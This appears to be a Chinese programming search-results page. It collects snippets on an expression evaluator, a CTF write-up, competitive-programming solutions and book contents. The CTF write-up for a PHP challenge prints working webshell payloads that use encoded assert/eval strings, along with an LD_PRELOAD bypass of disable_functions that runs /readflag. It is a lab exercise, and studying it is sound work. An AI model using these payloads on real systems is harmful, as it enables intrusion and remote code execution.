精华内容
下载资源
问答
  • 如果可以在源字符串中唯一定位yyyy-MM-dd格式的日期,可用做提取。 对于验证,如果仅仅是验证字符组成及格式是没有多大意义的,还要加入对规则的校验。由于闰年的存在,使得日期的校验正则变得比较复杂。 先来考察...
  • 运算+判断

    千次阅读 2016-04-14 23:19:09
    问题 B 数据结构作业02 -- 四运算表达式计算 ...一组非负常数四运算表达式,每个表达式输入一行,长度不超过1024个字符。 输出 每个表达式的计算结果输出一行,错误的表达式输出error。 样例

    问题 B 数据结构作业02 -- 四则运算表达式计算

    时间限制: 1 Sec  内存限制: 128 MB
    [提交]

    题目描述

    计算非负整常数四则运算表达式,可用的运算符有:+ - * / ( ) 。

    输入

    一组非负整常数四则运算表达式,每个表达式输入一行,长度不超过1024个字符。

    输出

    每个表达式的计算结果输出一行,错误的表达式输出error。

    样例输入

    12+5-4-73-*5((12-3)/2)+53+7/(2-2)

    样例输出

    17errorerror9error

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    #include<malloc.h>
    #include<math.h>
    int a[100001];//存储符号
    char b[100001];//存储数字
    char c[100001];//中转栈
    int topc=-1;
    int topab=-1;
    int ji[10001];
    topj=-1;
    char s[100001];
    int pan(int len){
        int i;
        int t;
        int acc=0,bcc=0;
        for(i=0;i<len-1;i++){
            if(s[i]=='+'||s[i]=='-'||s[i]=='*'||s[i]=='/'){
                if(s[i+1]=='+'||s[i+1]=='-'||s[i+1]=='*'||s[i+1]=='/')
                    return 1;
            }
            else if(s[i]==')'){
                if(s[i+1]=='(')
                    return 1;
            }
            else if(s[i]=='('){
                if(s[i+1]==')')
                    return 1;
            }
        }
        if(s[len-1]=='+'||s[len-1]=='-'||s[len-1]=='*'||s[len-1]=='/')
            return 1;
        for(i=len-1;i>=0;i--){
            if(s[i]==')')
                bcc++;
            else if(s[i]=='(')
                        acc++;
        }
        if(acc!=bcc){
            return 1;
        }
        char pei[10001];
        int toppei=-1;
        i=0;
        while(i<len){
            if(s[i]=='('){
                toppei++;
                pei[toppei]=s[i];
                i++;
            }
            else if(s[i]==')'&&toppei>=0){
                toppei--;
                i++;
            }
            else if(s[i]==')'&&toppei==-1)
                return 1;
            else
                i++;
        }
        if(toppei!=-1)
            return 1;
        return 0;
    }
    int main(){
        int num=0;
        int flag=0;
        while(~scanf("%s",s)){
                int len=strlen(s);
                int i,j;
                for(i=0;i<len;i++)
                    a[i]=9999;
                //for(i=0;i<10;i++)
                    //printf("%d\n",a[i]);
                flag=pan(len);
                //printf("%d",flag);
                i=0;
                while(i<len&&flag!=1){
                    if(isdigit(s[i])==1){
                        while(isdigit(s[i])==1){
                            num*=10;
                            num+=s[i]-48;
                            i++;
                        }
                        topab++;
                        a[topab]=num;
                        num=0;
                    }
                    else if(s[i]=='('){
                        topc++;
                        c[topc]=s[i];
                        i++;
                    }
                    else if(s[i]==')'){
                        while(c[topc]!='('&&topc>=0){
                                topab++;
                                b[topab]=c[topc];//printf("%c\n",b[topab]);
                                topc--;
                                if(topc==-1){flag=1;break;}
                              }
                              topc--;
                              i++;
                    }
                    else{
                        if(s[i]=='-'){
                            if(i==0){
                                flag=1;
                                break;
                            }
                            else{
                                if(s[i-1]=='('){
                                    flag=1;
                                    break;
                                }
                                else{
                                    while(c[topc]!='('&&topc>=0){
                                        topab++;
                                        b[topab]=c[topc];//printf("%c\n",b[topab]);
                                        topc--;
                                        if(topc==-1)
                                            break;
                                    }
                                    topc++;
                                    c[topc]=s[i];
                                    i++;
                                }
                            }
                        }
                        else if(s[i]=='+'){
                            while(c[topc]!='('&&topc>=0){
                                topab++;
                                b[topab]=c[topc];//printf("%c\n",b[topab]);
                                topc--;
                                if(topc==-1)
                                    break;
                            }
                            topc++;
                            c[topc]=s[i];
                            i++;
                        }
                        else if(s[i]=='*'||s[i]=='/'){
                            while((c[topc]=='*'||c[topc]=='/')&&topc>=0){
                                topab++;
                                b[topab]=c[topc];//printf("%c\n",b[topab]);
                                topc--;
                                if(topc==-1)
                                    break;
                            }
                            topc++;
                            c[topc]=s[i];
                            i++;
                        }
                    }
                }
                while(topc>=0){
                    topab++;
                    b[topab]=c[topc];//printf("%c\n",b[topab]);
                    topc--;
                }
            /*for(i=0;i<=topab;i++){
                if(a[i]!=9999)
                    printf("%d\n",a[i]);
                else
                    printf("%c\n",b[i]);
            }*/
            for(i=0;i<=topab;i++){
                if(a[i]!=9999){
                    topj++;
                    ji[topj]=a[i];
                }
                else{
                    if(topj-1>=0){
                        switch(b[i]){
                            case '+':ji[topj-1]=ji[topj-1]+ji[topj];topj--;break;
                            case '-':ji[topj-1]=ji[topj-1]-ji[topj];topj--;break;
                            case '*':ji[topj-1]=ji[topj-1]*ji[topj];topj--;break;
                            case '/':if(ji[topj]!=0){
                                        ji[topj-1]=ji[topj-1]/ji[topj];
                                        topj--;
                                    }
                                    else{
                                        flag=1;
                                    }
                                    break;
                            default:break;
                        }
                    }
                    else{flag=1;break;}
                }
            }
            if(flag==0){
                if(ji[0]>=0)
                    printf("%d\n",ji[0]);
                else
                    printf("error\n");
            }
            else{
                printf("error\n");
            }
            flag=0;
            topab=-1;
            topj=-1;
        }
        return 0;
    }
    



    展开全文
  • 2021-02-25

    2021-02-25 20:11:42
    现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。 先出一个phpinfo()看一下配置(我们这里看一下PHP版本以及禁用函数),用符号构造phpinfo,这里直接用取反u

    [BSidesCF 2019]Futurella

    在这里插入图片描述整了个火星文,看不懂查看源代码在这里插入图片描述
    本萌新直呼好题~~

    [极客大挑战 2019]RCE ME

    知识点

    • 无字母数字RCE
    • 绕过disable_functions

    打开题目的实例
    在这里插入图片描述
    code中不能含有字母和数字,有长度限制。
    现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
    先出一个phpinfo()看一下配置(我们这里看一下PHP版本以及禁用函数),用符号构造phpinfo,这里直接用取反urlencode编码绕过 什么是urlencode编码
    payload:

     ?code=(~%8F%97%8F%96%91%99%90)();
    

    UrlEncode编码/解码在线网站

    异或:

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
    // ${_GET}{%ff}();&%ff=phpinfo
    

    在这里插入图片描述
    可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下

    但是我的思维还是存在局限性,就是只是单纯的(函数)(参数)这样的去执行函数,对于如何$_POST传参让蚁剑连有些迷,后来也是看了大师傅的才恍然大悟。直接这样:

    <?php 
    error_reporting(0);
    
    $a='assert';
    $b=urlencode(~$a);
    echo $b;
    
    echo "<br>";
    $c='(eval($_POST["test"]))';
    $d=urlencode(~$c);
    echo $d;
    
     ?>
    
    

    在这里插入图片描述

    取反
    ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号
    或者(异或):
    ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

    在这里插入图片描述
    检验shell有效

    上蚁剑,发现一个flag文件(空的),一个readflag文件在这里插入图片描述
    需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell。
    在这里插入图片描述

    所以这里需要绕过这个disable_functions,并执行命令。

    方法一:想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
    在这里插入图片描述
    在这里插入图片描述
    然后回进入到一个虚拟shell模式,输入/readflag,得到flag在这里插入图片描述
    方法二:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
    参考链接学习深入浅出LD_PRELOAD & putenv()
    EXP地址

    学完接下来实战
    上传这两个文件:
    在这里插入图片描述
    然后需要重新再构造一下payload,我这就直接用网上的异或payload:?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
    即为
    ?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a']) // assert(eval($_POST['a']))
    包含我们的exp执行命令
    ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
    执行得到flag:
    在这里插入图片描述

    展开全文
  •  假设s[i]是长度为i的回文数个数(不含前导0),对于给定的正整数n有:    以上等式中最后面的括号是布尔表达式,Tom想知道S[n]mod233333的值是多少。  输入格式  第一行一个正整数T。 接下来输出...

    最后一次NOIP模拟了·····

    题目1:回文数字

      Tom 最近在研究回文数字。
      假设 s[i] 是长度为 i 的回文数个数(不含前导0),则对于给定的正整数 n 有:

      

      以上等式中最后面的括号是布尔表达式,Tom 想知道S[n] mod 233333 的值是多少。

      输入格式

      第一行一个正整数 T 。
      接下来输出共 T 行,每行一个正整数 n 。

      输出格式

      输出共 T 行,每行一个整数,表示 S[n] mod 233333 。  

      样例数据 1

      输入  [复制]


    2  

      输出

    9

      备注

      【数据规模与约定】
      对于 30% 的数据:n≤5。
      对于另 20% 的数据:∑n≤10^7。
      对于另 20% 的数据:T=1。
      对于 100% 的数据:T≤5*10^5;n≤10^9。

      

      根据题意可以推出来就是一个差比数列·····用快速幂和逆元(中间有除法)求解即可

      然而考试的时候作死cout<<endl直接超时····下次输出换行一定要用cout<<"\n“·····

    #include<iostream>
    #include<cstdio>
    #include<cstdlib>
    #include<cmath>
    #include<ctime>
    #include<cctype>
    #include<cstring>
    #include<string>
    #include<algorithm>
    using namespace std;
    const long long mod=233333;
    const long long niyuan=25926;
    long long a,T;
    inline long long R(){
        char c;long long f=0;
        for(c=getchar();c<'0'||c>'9';c=getchar());
        for(;c<='9'&&c>='0';c=getchar()) f=(f<<3)+(f<<1)+c-'0';
        return f;
    }
    inline long long ksm(long long a,long long b){
        long long ans=1;a%=mod;
        while(b){
            if(b&1)    ans=ans*a%mod;
            b/=2;a=a*a%mod;
        }
        return ans;
    }
    int main(){
        //freopen("bug.in","r",stdin);
        //freopen("bug.out","w",stdout);
        T=R();
        while(T--){
            a=R();
            if(a==1||a==2) cout<<"9"<<endl;
            else{
                a=(a-1)/2;        
                long long b=ksm(10,a+1);long long c=b;
                b=b*((2*a%mod+1)%mod)%mod;
                c=(c-10)*niyuan%mod*2%mod;
                b=((b-1-c)%mod+mod)%mod;
                cout<<b<<"\n";
            }
        }
        return 0;
    }

     

    题目2:路径统计

      一个 n 个点 m 条边的无重边无自环的无向图,点有点权,边有边权,定义一条路径的权值为路径经过的点权的最大值乘边权最大值。
      求任意两点间的权值最小的路径的权值。

      输入格式

      第一行两个整数 n ,m ,分别表示无向图的点数和边数。
      第二行 n 个正整数,第 i 个正整数表示点i的点权。
      接下来 m 行每行三个正整数 ui,vi,wi ,分别描述一条边的两个端点和边权。

      输出格式

      输出 n 行,每行 n 个整数。
      第 i 行第 j 个整数表示从 i 到 j 的路径的最小权值;如果从 i 不能到达 j ,则该值为 -1 。特别地,当 i=j 时输出 0 。

      样例数据 1

      输入  [复制]

    3 3 
    2 3 3 
    1 2 2 
    2 3 3 
    1 3 1

      输出

    0 6 3 
    6 0 6 
    3 6 0

      备注

      【样例输入输出2】
         见选手目录下path.in/path.ans。

      【数据范围与约定】
      对于 20% 的数据:n≤5;m≤8。
      对于 50% 的数据:n≤50。
      对于 100% 的数据:n≤500;m≤n*(n-1)/2,边权和点权不超过10^9 。

      考虑直接用floyd的话会出现错误···比如说我们用k1更新f[i][j]后,下次用k2更新f[i][j]时可能会出错····

      方法是我们将每个点的点权从小到大排序··在枚举最外层的中转点时我们按升序枚举···这样就能保证正确性,具体怎么证明这里就不多写了···

      注意能开int的地方就开int··不然要超时

    #include<iostream>
    #include<cstdio>
    #include<cstdlib>
    #include<string>
    #include<cstring>
    #include<algorithm>
    #include<cmath>
    #include<ctime>
    #include<cctype>
    using namespace std;
    const int N=505;
    struct node{
        int val,id;
    }p[N];
    int n,m,mp[N][N],val[N],me[N][N];
    long long dis[N][N];
    bool Visit[N],jud[N][N];
    inline int R(){
        char c;int f=0;
        for(c=getchar();c<'0'||c>'9';c=getchar());
        for(;c<='9'&&c>='0';c=getchar()) f=(f<<3)+(f<<1)+c-'0';
        return f;
    }    
    inline long long Rl(){
        char c;long long f=0;
        for(c=getchar();c<'0'||c>'9';c=getchar());
        for(;c<='9'&&c>='0';c=getchar()) f=(f<<3)+(f<<1)+c-'0';
        return f;
    }
    int buf[1024];
    inline void write(long long x){
        if(!x){putchar('0');return ;}
        if(x<0){putchar('-');x=-x;}
        while(x){buf[++buf[0]]=x%10,x/=10;}
        while(buf[0]) putchar(buf[buf[0]--]+48);
        return ;
    }
    inline bool cmp(const node &a,const node &b){
        return a.val<b.val;
    }
    int main(){
        //freopen("path.in","r",stdin);
        ///freopen("path1.out","w",stdout);
        n=R();m=R();
        int a,b;long long c;
        memset(jud,false,sizeof(jud));
        for(int i=1;i<=n;i++)
            for(int j=1;j<=n;j++) mp[i][j]=me[i][j]=1e+9,dis[i][j]=2e+18;
        for(int i=1;i<=n;i++) val[i]=R(),p[i].val=val[i],p[i].id=i;
        sort(p+1,p+1+n,cmp);
        for(int i=1;i<=m;i++){
            a=R(),b=R(),c=R();me[a][b]=me[b][a]=c;
            mp[a][b]=mp[b][a]=max(val[a],val[b]);jud[a][b]=jud[b][a]=true;dis[a][b]=dis[b][a]=(long long)mp[b][a]*me[b][a];
        }
        for(int K=1;K<=n;K++)
            for(int i=1;i<=n;i++)
                for(int j=1;j<=n;j++){
                    int k=p[K].id;
                    if(!jud[i][k]||!jud[k][j]||i==j) continue;
                    int maxp=max(mp[i][k],mp[k][j]);        
                    int maxe=max(me[i][k],me[k][j]);
                    if((long long)maxp*maxe<dis[i][j]){
                        dis[i][j]=(long long)maxp*maxe;
                        mp[i][j]=maxp;me[i][j]=maxe;
                        jud[i][j]=true;
                    }
                }
        for(int i=1;i<=n;i++){
            for(int j=1;j<=n;j++){
                if(i==j) write(0),putchar(' ');
                else if(jud[i][j]) write(dis[i][j]),putchar(' ');
                else write(-1),putchar(' ');
            }
            putchar('\n');
        }
        return 0;
        
    }

     

    题目3:字符串

      给定两个字符串 s1 和 s2 ,两个字符串都由 26 个小写字母中的部分字母构成。现在需要统计 s2 在 s1 中出现了的次数。

      对于 s1 中的每个位置 i ,设 strlen(s2)=m ,若:

      

      (最外层中括号为布尔表达式)

      则认为 s2 在 s1 的 i 处出现了一次,现在想知道,s2 在 s1 中一共出现了多少次?

      输入格式

      第一行为一个字符串 s1 ;
      第二行为一个字符串 s2 ;
      第三行为一个整数 k 。

      输出格式

      输出一行一个整数,表示 s2 在 s1 中出现的次数。

      样例数据 1

      输入  [复制]

    ababbab 
    aba 
    1

      输出

    3

      备注

      【数据范围与约定】
      前 10% 的数据:n>m。
      前 30% 的数据:n,m≤1000。
      对于另 40% 的数据:k≤20。
      对于 100% 的数据:n≤200000;m≤100000;k≤100。

      由于正解要用到后缀数组不属于NOIP范围··所以这里我就先挖个坑吧··只讲讲70分

      暴力肯定是枚举每一个起始位置暴力匹配···70分算法就是它的优化··每次匹配的时候我们用hash+二分来匹配即可

    #include<iostream>
    #include<cstdio>
    #include<cstdlib>
    #include<cmath>
    #include<ctime>
    #include<cctype>
    #include<string>
    #include<cstring>
    #include<algorithm>
    using namespace std;
    const int N=2e5+5;
    const int base=61;
    int n,m,ans=0,k;
    unsigned long long bt[N],hash1[N],hash2[N];
    char s1[N],s2[N];
    inline void pre(){
        bt[0]=1;for(int i=1;i<=n;i++) bt[i]=bt[i-1]*base;
        for(int i=n;i>=1;i--) hash1[i]=hash1[i+1]*base+s1[i]-'a';
        for(int i=m;i>=1;i--) hash2[i]=hash2[i+1]*base+s2[i]-'a';
    }
    inline int getans(int st){
        int cnt=0,po=1;
        while(cnt<=k&&po<=m){
            int le=0,ri=m-po;
            while(le<=ri){
                int mid=(ri+le)/2;
                if((hash2[po]-hash2[po+mid+1]*bt[mid+1])==(hash1[st+po-1]-hash1[st+po+mid]*bt[mid+1])) le=mid+1;
                else ri=mid-1;
            }
            if(po+ri!=m) cnt++;po=po+ri+2;
        }
        if(cnt<=k) return 1;
        else return 0;
    }
    int main(){
        //freopen("a.in","r",stdin);
        scanf("%s%s",s1+1,s2+1);
        scanf("%d",&k);
        n=strlen(s1+1);m=strlen(s2+1);
        pre();
        for(int i=1;i<=n-m+1;i++) ans+=getans(i);
        cout<<ans<<"\n";
        return 0;
    }

     

     

    转载于:https://www.cnblogs.com/AseanA/p/7811278.html

    展开全文
  • 第二章: 数据类型、运算符、表达式 C语言的数据类型  在第一课中,我们已经看到程序中使用的各种变量都应预先加以说明,即先说明,后使用。对变量的说明可以包括三个方面: ?数据类型 ?存储类型 ?作用域  在本课...
  • 大话数据结构

    2017-02-09 15:26:37
    4.9 栈的应用--四运算表达式求值 4.9.1 后缀(逆波兰)表示法定义 4.9.2 后缀表达式计算结果 4.9.3 中缀表达式转后缀表达式 4.10 队列的定义 4.11 队列的抽象数据类型 4.12 循环队列 4.12.1 队列顺序存储的不足 ...
  • 段的最小元素不小于尾元素或者段的最大元素不大于尾元素,说明仅有左子树或者右子树,返回True。 面试题25:二叉树中和为某一值的路径:递归 面试题26:复杂链表的复制:注意链表结点进行复制的时候,不能简单...
  • 数据结构(C++)有关练习题

    热门讨论 2008-01-02 11:27:18
    设计一个构造函数,当对象结束时,要释放整个二叉搜索树所占的内存空间(提示,通过后序遍历算法找到叶结点,并删除叶结点,不断重复此过程,直到科树为空); 2、实现1所要求的代码后,运行设计好的代码,将...
  • 入门学习Linux常用必会60个命令实例详解doc/txt

    千次下载 热门讨论 2011-06-09 00:08:45
    若系统的运行级别为0或6,关闭系统;否则以shutdown指令(加上-h参数)来取代。  reboot 1.作用 reboot命令的作用是重新启动计算机,它的使用权限是系统管理者。 2.格式 reboot [-n] [-w] [-d] [-f] ...
  • 大话数据结构 程杰

    2018-09-01 10:06:43
    4.9栈的应用——四运算表达式求值 104 4.9.1后缀(逆波兰)表示法定义 104 4.9.2后缀表达式计算结果 106 4.9.3中缀表达式转后缀表达式 108 4.10队列的定义 111 电脑有时会处于疑似死机的状态。就当你失去耐心,...
  • 4.8.1 斐波那契数列实现 101 4.8.2 递归定义 103 4.9 栈的应用--四运算表达式求值 104 4.9.1 后缀(逆波兰)表示法定义 104 4.9.2 后缀表达式计算结果 106 4.9.3 中缀表达式转后缀表达式 108 4.10 队列的定义 111...
  • 4.9栈的应用——四运算表达式求值 104 4.9.1后缀(逆波兰)表示法定义 104 4.9.2后缀表达式计算结果 106 4.9.3中缀表达式转后缀表达式 108 4.10队列的定义 111 电脑有时会处于疑似死机的状态。就当你失去耐心,...
  • 4.9栈的应用——四运算表达式求值 104 4.9.1后缀(逆波兰)表示法定义 104 4.9.2后缀表达式计算结果 106 4.9.3中缀表达式转后缀表达式 108 4.10队列的定义 111 电脑有时会处于疑似死机的状态。就当你失去耐心,...
  • 大话数据结构-程杰

    2014-07-13 23:45:52
    4.9 栈的应用--四运算表达式求值 104 4.9.1 后缀(逆波兰)表示法定义 104 4.9.2 后缀表达式计算结果 106 4.9.3 中缀表达式转后缀表达式 108 4.10 队列的定义 111 电脑有时会处于疑似死机的状态。就当你失去...
  • 63、正则表达式相关 64、资源操作相关 65、四舍五入相关 66、SD卡相关 67、服务相关 68、Shell相关 69、短信相关 70、Snackbar相关 71、SharedPreferences相关 72、状态栏背景色 73、状态栏字体颜色模式 74、字符串...
  • MAPGIS地质制图工具

    2013-05-06 16:15:30
    1、如果先打开了Excel表,会插入表中选择的数据到MapGis图形中;若事先未打开Excel,那么将会把选择的表(Sheet)中的所有数据(直到最后为空值行;有空数据行但下面仍有数据行,继续插入数据;有引用公式当做有数据...
  • 字符类型 char 1~2000字节 固定长度字符串,长度不够的用空格补充 varchar2 1~4000字节 可变长度字符串,与CHAR类型相比,使用VARCHAR2可以节省磁盘空间,但查询效率没有char类型高 数值类型 Number(m,n) m(1~38) ...
  • C++网络爬虫项目

    2018-07-04 00:59:17
    队、出队操作,通过统一资源定位符过滤器排重,同时支持基于正则表达式的 统一资源定位符抽取功能。 2.2.6. 套接字(Socket) 发送/接收超文本传输协议请求/响应,发送成功将套接字描述符加入多路I/O, 接收成功抽取...
  • 多态和抽象类是面向对象编程的核心内容,模板论述了泛型编程,异常强化了面向对象编程中的可靠性和容错性。 作者简介 1984年毕业于上海复旦大学计算机软件专业;1988年获电子工业部优秀科技青年称号;两次获得浙江...
  • 若你作为一名管理员刚加入M公司,你认为快速原型法对公司的软件开发更加优越,请向公司副总裁写一份报告阐明你的理由,切记:副总裁不喜欢报告长度 超过一页(B5)。 参考答案提示: 应先简述瀑布模型的缺点,它已不...
  • 数据库操作支持库增加读写长数字段的功能,但受限于系统接口暂不能读写超出整数范围的数值。 7. 修改高级表格支持库,通过鼠标调整行高列宽时不改变当前光标行列号。 8. 修改BUG:在IDE中打开源代码文件(.e)后...
  • c++ 面试题 总结

    2009-09-16 08:44:40
    如果const位于星号的左侧,const就是用来修饰指针所指向的变量,即指针指向为常量; 如果const位于星号的右侧,const就是修饰指针本身,即指针本身是常量。 (1)const char *p 一个指向char类型的const对象指针,...
  • 7、用于控制条件转移的表达式及取值范围是否书写正确 第20页 【案例1.7.1】 第20页 【案例1.7.2】 第21页 【案例1.7.3】 第22页 8、条件分支处理是否有遗漏 第24页 【案例1.8.1】 第24页 9、引用已释放的资源 第26页...
  • C#微软培训教材(高清PDF)

    千次下载 热门讨论 2009-07-30 08:51:17
    7.3 赋值操作符和赋值表达式.64 7.4 关系操作符和关系表达式.65 <<page 2>> page begin==================== 7.5 逻辑操作符和逻辑表达式.68 7.6 位 运 算 .69 7.7 其它特殊操作符 .72 7.8 小 结 ....
  • C#微软培训资料

    2014-01-22 14:10:17
    7.4 关系操作符和关系表达式.65 <<page 2>> page begin==================== 7.5 逻辑操作符和逻辑表达式.68 7.6 位 运 算 .69 7.7 其它特殊操作符 .72 7.8 小 结 .77 第八章 流 程 控 制 .79 8.1 ...

空空如也

空空如也

1 2
收藏数 27
精华内容 10
关键字:

整则表达式长度